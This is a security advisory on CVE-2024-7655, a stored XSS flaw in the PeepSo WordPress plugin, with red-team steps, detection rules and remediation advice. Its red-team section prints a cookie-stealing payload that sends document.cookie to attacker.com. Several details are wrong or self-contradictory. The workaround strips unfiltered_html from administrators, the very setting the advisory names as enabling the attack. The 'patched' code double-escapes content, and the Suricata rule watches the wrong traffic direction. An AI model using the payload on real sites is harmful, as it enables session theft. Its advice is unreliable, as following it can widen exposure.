CVE-2024-7655

Executive Summary

CVE-2024-7655 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Community by PeepSo WordPress plugin, affecting all versions up to and including 6.4.5.0. The vulnerability arises from insufficient input sanitization and output escaping, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The exploit is limited to multi-site installations or environments where the unfiltered_html capability has been disabled. The CVSS score is 4.4 (Medium), and the EPSS probability is 0.0%, indicating a low exploitation likelihood in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The PeepSo plugin is distributed via the official WordPress plugin repository and is also available for direct download from the vendor's site. Administrators should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The requirement for admin-level access reduces the attack surface, but the potential for persistent XSS on multi-site installations poses a significant risk to site integrity and user trust.

Deep Dive & Mechanics

The vulnerability is rooted in the PeepSo plugin's failure to properly sanitize user-supplied input and escape output when rendering content. Specifically, an administrator with the ability to create or edit posts, pages, or custom post types can inject malicious JavaScript code into fields that are not properly filtered. This injected code is then stored in the database and executed in the browser of any user who views the affected page.

Key Technical Details:

• Affected Component: The PeepSo plugin's content rendering engine, likely within the peepso-core or peepso-community modules.
• Root Cause: Insufficient input sanitization and output escaping. The plugin does not strip or encode HTML/JavaScript from certain admin-level inputs, and when rendering, it does not escape the output, allowing the injected script to execute.
• Exploitation Prerequisites: The attacker must have administrator-level access to the WordPress site. The vulnerability is exploitable on multi-site installations or single-site installations where the unfiltered_html capability has been disabled for administrators.
• Impact: Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive information.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Example):

// In a PeepSo function that renders user content
function peepso_render_content($content) {
    // No sanitization or escaping
    echo $content;
}

Patched Code (Hypothetical):

function peepso_render_content($content) {
    // Sanitize input and escape output
    $sanitized_content = wp_kses_post($content);
    echo esc_html($sanitized_content);
}

The patched version uses WordPress's built-in wp_kses_post() to strip dangerous HTML tags and esc_html() to encode the output, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress multi-site installation with PeepSo 6.4.5.0 or earlier.
• Administrator-level credentials.

Steps:

1. Log in as an administrator.
2. Navigate to a PeepSo content creation page (e.g., a post, page, or custom post type).
3. Inject the following payload into a vulnerable field (e.g., the post content or a custom field):

   <script>alert('XSS');</script>
   

4. Save the content.
5. Any user visiting the page will see the alert box, confirming the XSS.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual admin-level content creation or editing activity.
• Look for suspicious HTML/JavaScript in post content, page content, or custom fields.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Disable the PeepSo plugin until a patch is available.
• Restrict administrator access to trusted users only.
• Enable unfiltered_html capability for administrators only if absolutely necessary.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files): (No specific hashes available; verify against official repository)
• Suspicious Database Entries: Posts or pages containing <script> tags or event handlers like onerror, onload, onclick.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin interface.
• Log Entries: Unusual admin-level content creation events in WordPress audit logs.

Detection Engineering

YARA Rule

rule CVE_2024_7655_PeepSo_XSS {
    meta:
        description = "Detects PeepSo plugin files vulnerable to CVE-2024-7655"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7655"
    strings:
        $vuln_func = "echo $content" nocase
        $vuln_func2 = "print $content" nocase
    condition:
        $vuln_func or $vuln_func2
}

Sigma Rule

title: CVE-2024-7655 PeepSo Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-7655 in PeepSo plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'peepso'
            - 'admin-ajax.php'
        cs-uri-query|re: '.*(<script|<img|onerror|onload).*'
    condition: selection
falsepositives:
    - Legitimate admin content updates
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7655 PeepSo Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"peepso"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the PeepSo plugin until an official patch is released.
2. Review and remove any suspicious content created by administrators.
3. Audit administrator accounts and revoke access for any untrusted users.

Long-Term Mitigation:

• Apply the patch once it becomes available from the vendor.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a Web Application Firewall (WAF) with rules to block XSS payloads.
• Regularly update all WordPress plugins and themes.
• Enable security plugins that monitor for file changes and suspicious activity.

Workaround:

• If the plugin cannot be disabled, restrict the unfiltered_html capability to only the most trusted administrators. This can be done via a plugin like "User Role Editor" or by modifying the functions.php file:

  add_action('init', function() {
      $role = get_role('administrator');
      $role->remove_cap('unfiltered_html');
  });
  

Valters IT
Securing Digital Frontiers